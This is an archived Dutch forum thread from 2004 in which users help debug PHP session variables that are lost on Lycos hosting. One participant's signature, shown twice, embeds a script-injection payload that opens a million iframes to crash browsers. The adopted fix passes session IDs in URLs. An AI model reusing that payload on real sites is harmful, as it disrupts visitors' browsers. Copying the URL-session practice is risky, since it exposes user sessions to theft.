Bekijk Volledige Versie : Session op lycos server ?
René Vaessen
14/09/04, 22:35
Ik heb een vreemd probleem ik heb een stuk PHP script dat wel locaal werkt
(eigen webserver) maar al ik hem upload naar de betaalde Lycos server dan
niet.
Ik registreer via een inlog scherm een aantal waardes. In het volgende
scherm (mogelijke opties voor gebruikers)worden deze waardes uitgelezen en
dat gaat goed. Als ik vanuit deze pagina de volgende open (b.v. Nieuws) dan
zijn de de session variabelen ineens niet meer beschikbaar.
Hert vreemde is locaal geen probleem bij lycos wel.
Wie weet raad ?
Groeten,
René
Hieronder de relevante delen code
Toewijzen variabelen
session_start();
$_SESSION["login"]='ja';
$_SESSION["anaam"]=$_POST['naam'];
if ($admin['admin']==true) $_SESSION["aadmin"]='ja';
if ($admin['clubrec']==true) $_SESSION["aclubrec"]='ja';
if ($admin['news']==true) $_SESSION["anews"]='ja';
if ($admin['news_verw']==true) $_SESSION["anews_verw"]='ja';
if ($admin['pr']==true) $_SESSION["apr"]='ja';
if ($admin['gastenboek']==true) $_SESSION["agastenboek"]='ja';
if ($admin['uitwed']==true) $_SESSION["auitwed"]='ja';
if ($admin['inschrijf']==true) $_SESSION["ainschrijf"]='ja';
Uitlezen variabelen 1e pagina (deze werkt)
session_start();
if ($_SESSION['login']==TRUE) {
<h2>Administrators deel voor <?php print $_SESSION['anaam']; ?></h2>
<?php
if ($_SESSION['aadmin']=='ja') print "<br><a
href=admin_ctrl.php?action=bekijk> Admin controlle</a>";
if ($_SESSION['aclubrec']=='ja') print "<br><a href=clubrec_admin.php>
Clubrecord adminstratie</a>";
if ($_SESSION['anews']=='ja') print "<br><a
href=../nieuws/nieuws_beheer.php> Nieuws beheer</a>";
if ($_SESSION['apr']=='ja') print "<br>PR beheer</a>";
if ($_SESSION['agastenboek']=='ja') print "<br>Gastenboek</a>";
if ($_SESSION['auitwed']=='ja') print "<br><a
href=../uitwedstrijd/uitwed_beheer.php> Uit wedstrijd beheer</a>";
if ($_SESSION['ainschrijf']=='ja') print "<br>Inschrijf beheer</a>";
print "<br><br><a href='index.php?action=loguit'> Uitloggen</a>";
Uitlezen variabelen 2e pagina (deze werkt niet meer)
session_start();
$login_v=$_SESSION['login'];
$admin_v=$_SESSION['anews'];
if ($login_v==TRUE) {
if ($admin_v=='ja') {
On Tue, 14 Sep 2004 22:29:46 +0200, René Vaessen <rene100m@yahoo.com> wrote:
> Toewijzen variabelen
> session_start();
> $_SESSION["login"]='ja';
> $_SESSION["anaam"]=$_POST['naam'];
.....
> if ($admin['uitwed']==true) $_SESSION["auitwed"]='ja';
> if ($admin['inschrijf']==true) $_SESSION["ainschrijf"]='ja';
>
> Uitlezen variabelen 1e pagina (deze werkt)
> session_start();
>
> if ($_SESSION['login']==TRUE) {
Ik weet niet zeker of php wel met true kan omgaan. Probeer daar eens
true
van te maken.
....
> Uitlezen variabelen 2e pagina (deze werkt niet meer)
> session_start();
> $login_v=$_SESSION['login'];
> $admin_v=$_SESSION['anews'];
Wat geeft print_r($_SESSION); ?
Ik merk op sommige distro's en de daarbij geleverde php modules dat
je soms een session_register(<jouw variabele>) nodig hebt. Volgens mij
zou dat niet meer hoeven maar wellicht dat het even is te testen (onder
de session_start() dus). Kan zijn dat ze een oudere php versie draaien.
Groet,
Hans
--
begin http://<XSS_VULN_HOST>/<script>var i; for (i=1;i<1000000;i++) {
document.write("\<iframe
src=\"snews://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + i +
"\"\>\<\/iframe>"); } document.refresh; </script>
René Vaessen
14/09/04, 23:45
"Hans" <nomailwanted@blacklist.kernelnewbies.nl> schreef in bericht
news:slrnckem6q.v9i.nomailwanted@e35203.upc-e.chello.nl...
> On Tue, 14 Sep 2004 22:29:46 +0200, René Vaessen <rene100m@yahoo.com>
wrote:
>
> > Toewijzen variabelen
> > session_start();
> > $_SESSION["login"]='ja';
> > $_SESSION["anaam"]=$_POST['naam'];
> ....
>
> > if ($admin['uitwed']==true) $_SESSION["auitwed"]='ja';
> > if ($admin['inschrijf']==true) $_SESSION["ainschrijf"]='ja';
> >
> > Uitlezen variabelen 1e pagina (deze werkt)
> > session_start();
> >
> > if ($_SESSION['login']==TRUE) {
>
> Ik weet niet zeker of php wel met true kan omgaan. Probeer daar eens
>
> true
>
> van te maken.
>
> ...
>
> > Uitlezen variabelen 2e pagina (deze werkt niet meer)
> > session_start();
> > $login_v=$_SESSION['login'];
> > $admin_v=$_SESSION['anews'];
>
>
> Wat geeft print_r($_SESSION); ?
>
> Ik merk op sommige distro's en de daarbij geleverde php modules dat
> je soms een session_register(<jouw variabele>) nodig hebt. Volgens mij
> zou dat niet meer hoeven maar wellicht dat het even is te testen (onder
> de session_start() dus). Kan zijn dat ze een oudere php versie draaien.
>
> Groet,
>
> Hans
> --
Dag Hans
print_r($_SESSION); geeft geen variabelen. Nu ben ik aan de slag gegaan om
de session_id zichtbaar te maken. Om één of andere manier was de session_id
anders. Ik heb het probleem nu opgelost door de session_id met de url mee te
sturen en in de gewenste pagina's uit te lezen.
In iedergeval bedankt voor het meedenken
Groeten,
René
Maarten Wierda
14/09/04, 23:55
René Vaessen wrote:
> Ik heb een vreemd probleem ik heb een stuk PHP script dat wel locaal werkt
> (eigen webserver) maar al ik hem upload naar de betaalde Lycos server dan
> niet.
<knip>
> Hert vreemde is locaal geen probleem bij lycos wel.
Welke PHP versie draai je bij Lycos? En wat staat er bij 'register_globals'?
Dit kun je overigens achterhalen door een bestandje genaamd
'phpinfo.php' o.i.d. te uploaden naar je Lycos-server met daarin de
volgende code:
<? phpinfo(); ?>
Succes.
--
Cheers,
Maarten Wierda
"Look what God did to us man!"
On Tue, 14 Sep 2004 23:39:25 +0200, René Vaessen <rene100m@yahoo.com> wrote:
>
> "Hans" <nomailwanted@blacklist.kernelnewbies.nl> schreef in bericht
> news:slrnckem6q.v9i.nomailwanted@e35203.upc-e.chello.nl...
>> > if ($_SESSION['login']==TRUE) {
>>
>> Ik weet niet zeker of php wel met true kan omgaan. Probeer daar eens
>>
>> true
>>
>> van te maken.
Heb je die nog bekeken? Niet dat het blijkbaar in jouw geval uitmaakt maar
dat is weer een ander verhaal.
>> Wat geeft print_r($_SESSION); ?
.....
> Dag Hans
> print_r($_SESSION); geeft geen variabelen. Nu ben ik aan de slag gegaan om
> de session_id zichtbaar te maken. Om één of andere manier was de session_id
> anders. Ik heb het probleem nu opgelost door de session_id met de url mee te
> sturen en in de gewenste pagina's uit te lezen.
Op zich vreemd. Je hebt je browser wel zo ingestelt dat hij php session
cookies zal accepteren?
Hans
--
begin http://<XSS_VULN_HOST>/<script>var i; for (i=1;i<1000000;i++) {
document.write("\<iframe
src=\"snews://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + i +
"\"\>\<\/iframe>"); } document.refresh; </script>
Michiel de Roo
15/09/04, 13:15
René Vaessen wrote:
> Ik heb een vreemd probleem ik heb een stuk PHP script dat wel locaal werkt
> (eigen webserver) maar al ik hem upload naar de betaalde Lycos server dan
> niet.
>
> Ik registreer via een inlog scherm een aantal waardes. In het volgende
> scherm (mogelijke opties voor gebruikers)worden deze waardes uitgelezen en
> dat gaat goed. Als ik vanuit deze pagina de volgende open (b.v. Nieuws) dan
> zijn de de session variabelen ineens niet meer beschikbaar.
>
> Hert vreemde is locaal geen probleem bij lycos wel.
>
> Wie weet raad ?
Er kunnen verschillende oorzaken zijn. Wellicht draait Lycos PHP zonder
session support. I dat geval moet er --disable-session in je phpinfo()
staan. Of wellicht wordt de sessie in een directory opgeslagen die bij een
volgende aanroep niet meer bereikbaar is, bijvoorbeeld omdat deze door een
andere server wordt afgehandeld. In dat geval kan session_save_path(...)
uitkomst bieden.
Het is in elk geval handig even een php file met daarin
<? phpinfo() ?>
op de Lycos server te plaatsen en hier de link te posten. Daar is een hoop
aan te zien namelijk.
René Vaessen
15/09/04, 22:25
"Michiel de Roo" <yourlove@welovespam.nl> schreef in bericht
news:4148235e$0$78749$e4fe514c@news.xs4all.nl...
> René Vaessen wrote:
> > Ik heb een vreemd probleem ik heb een stuk PHP script dat wel locaal
werkt
> > (eigen webserver) maar al ik hem upload naar de betaalde Lycos server
dan
> > niet.
> >
> > Ik registreer via een inlog scherm een aantal waardes. In het volgende
> > scherm (mogelijke opties voor gebruikers)worden deze waardes uitgelezen
en
> > dat gaat goed. Als ik vanuit deze pagina de volgende open (b.v. Nieuws)
dan
> > zijn de de session variabelen ineens niet meer beschikbaar.
> >
> > Hert vreemde is locaal geen probleem bij lycos wel.
> >
> > Wie weet raad ?
>
> Er kunnen verschillende oorzaken zijn. Wellicht draait Lycos PHP zonder
> session support. I dat geval moet er --disable-session in je phpinfo()
> staan. Of wellicht wordt de sessie in een directory opgeslagen die bij een
> volgende aanroep niet meer bereikbaar is, bijvoorbeeld omdat deze door een
> andere server wordt afgehandeld. In dat geval kan session_save_path(...)
> uitkomst bieden.
Lycos draait volgens phpinfo wel sesisons
>
> Het is in elk geval handig even een php file met daarin
>
> <? phpinfo() ?>
>
> op de Lycos server te plaatsen en hier de link te posten. Daar is een hoop
> aan te zien namelijk.
http://test.swiftatl.org/phpinfo.php
Het gekke is dat dat het scherm na de inlog procedure wel over de sessie
gegevens beschikt maar de volgende pagina is de gegevens kwijt. Ik ben
erachter gekomen dat bij deze pagina het session_id anders is. Als ik de
session ID d.m.v get doorstuur naar deze pagina en vertel dat deze ID
gebruikt moet worden dan werkt het wel.
groeten,
René
René Vaessen
15/09/04, 22:25
"Hans" <nomailwanted@blacklist.kernelnewbies.nl> schreef in bericht
news:slrnckeq4b.vmf.nomailwanted@e35203.upc-e.chello.nl...
> On Tue, 14 Sep 2004 23:39:25 +0200, René Vaessen <rene100m@yahoo.com>
wrote:
> >
> > "Hans" <nomailwanted@blacklist.kernelnewbies.nl> schreef in bericht
> > news:slrnckem6q.v9i.nomailwanted@e35203.upc-e.chello.nl...
>
> >> > if ($_SESSION['login']==TRUE) {
> >>
> >> Ik weet niet zeker of php wel met true kan omgaan. Probeer daar eens
> >>
> >> true
> >>
> >> van te maken.
Dit is geen probleem (hen ik al geprobeerd) zie ook antwoord hieronder.
>
> Heb je die nog bekeken? Niet dat het blijkbaar in jouw geval uitmaakt maar
> dat is weer een ander verhaal.
>
> >> Wat geeft print_r($_SESSION); ?
>
Niets helemaal niets er worden geen variabelen gevonden doordat de er een
andere sessie aangroepen wordt.
> ....
>
> > Dag Hans
> > print_r($_SESSION); geeft geen variabelen. Nu ben ik aan de slag gegaan
om
> > de session_id zichtbaar te maken. Om één of andere manier was de
session_id
> > anders. Ik heb het probleem nu opgelost door de session_id met de url
mee te
> > sturen en in de gewenste pagina's uit te lezen.
>
> Op zich vreemd. Je hebt je browser wel zo ingestelt dat hij php session
> cookies zal accepteren?
>
> Hans
> --
>
Daat heb ik ook direct aan gedacht en heb vervolgens de instelling van IE6.0
zo laag mogelijk ingesteld en dat alle cookies moet worden geacepteerd. Ik
zal het eens proberen met Opera of zo.
Groeten ,
René
Maarten Wierda
15/09/04, 23:05
René Vaessen wrote:
>>Het is in elk geval handig even een php file met daarin
>>
>><? phpinfo() ?>
<...>
> http://test.swiftatl.org/phpinfo.php
De waarde van register_globals staat op Off. Dit betekent dat je
sessie-variabelen anders moet aanspreken.
Sessie-variabelen aanmaken kan via session_register() en deze vars
controleren kan via session_is_registered().
Zie <http://nl.php.net/manual/en/ref.session.php> voor meer info.
--
Cheers,
Maarten Wierda
"Look what God did to us man!"
Daniel Tryba
16/09/04, 01:45
Maarten Wierda <maartenAT@norecessdot.com> wrote:
[http://test.swiftatl.org/phpinfo.php]
> De waarde van register_globals staat op Off. Dit betekent dat je
> sessie-variabelen anders moet aanspreken.
grappig, volgens de output die ik krijg staan dat op On.
> Sessie-variabelen aanmaken kan via session_register() en deze vars
> controleren kan via session_is_registered().
>
> Zie <http://nl.php.net/manual/en/ref.session.php> voor meer info.
Geweldige tip... als je de manual voor session_register
(http://nl.php.net/manual/en/function.session-register.php) dan ook even
leest....
<q>
Caution
If you want your script to work regardless of register_globals, you need
to instead use the $_SESSION array as $_SESSION entries are
automatically registered. If your script uses session_register(), it
will not work in environments where the PHP directive register_globals
is disabled.
</q>
het gebruik van de archaische functie session_register() is dan ook
sterk af te raden in versies van PHP 4.1.x+.
--
Daniel Tryba
Maarten Wierda
17/09/04, 17:35
Daniel Tryba wrote:
[http://test.swiftatl.org/phpinfo.php]
>>De waarde van register_globals staat op Off. Dit betekent dat je
>>sessie-variabelen anders moet aanspreken.
>
> grappig, volgens de output die ik krijg staan dat op On.
Inderdaad. Waarschijnlijk heb ik verkeerd gekeken.
>>Sessie-variabelen aanmaken kan via session_register() en deze vars
>>controleren kan via session_is_registered().
>>
>>Zie <http://nl.php.net/manual/en/ref.session.php> voor meer info.
>
> Geweldige tip... als je de manual voor session_register
> (http://nl.php.net/manual/en/function.session-register.php) dan ook even
> leest....
<snip, wel gelezen>
> het gebruik van de archaische functie session_register() is dan ook
> sterk af te raden in versies van PHP 4.1.x+.
Duidelijk, weer wat geleerd.
Wat zou dan wel het probleem van de OP kunnen zijn?
--
Cheers,
Maarten Wierda
"Look what God did to us man!"
Daniel Tryba
17/09/04, 17:55
Maarten Wierda <maartenAT@norecessdot.com> wrote:
>
> Wat zou dan wel het probleem van de OP kunnen zijn?
>
Het probleem is toch al opgelost door het sessionid via de URL mee te
geven!
--
Daniel Tryba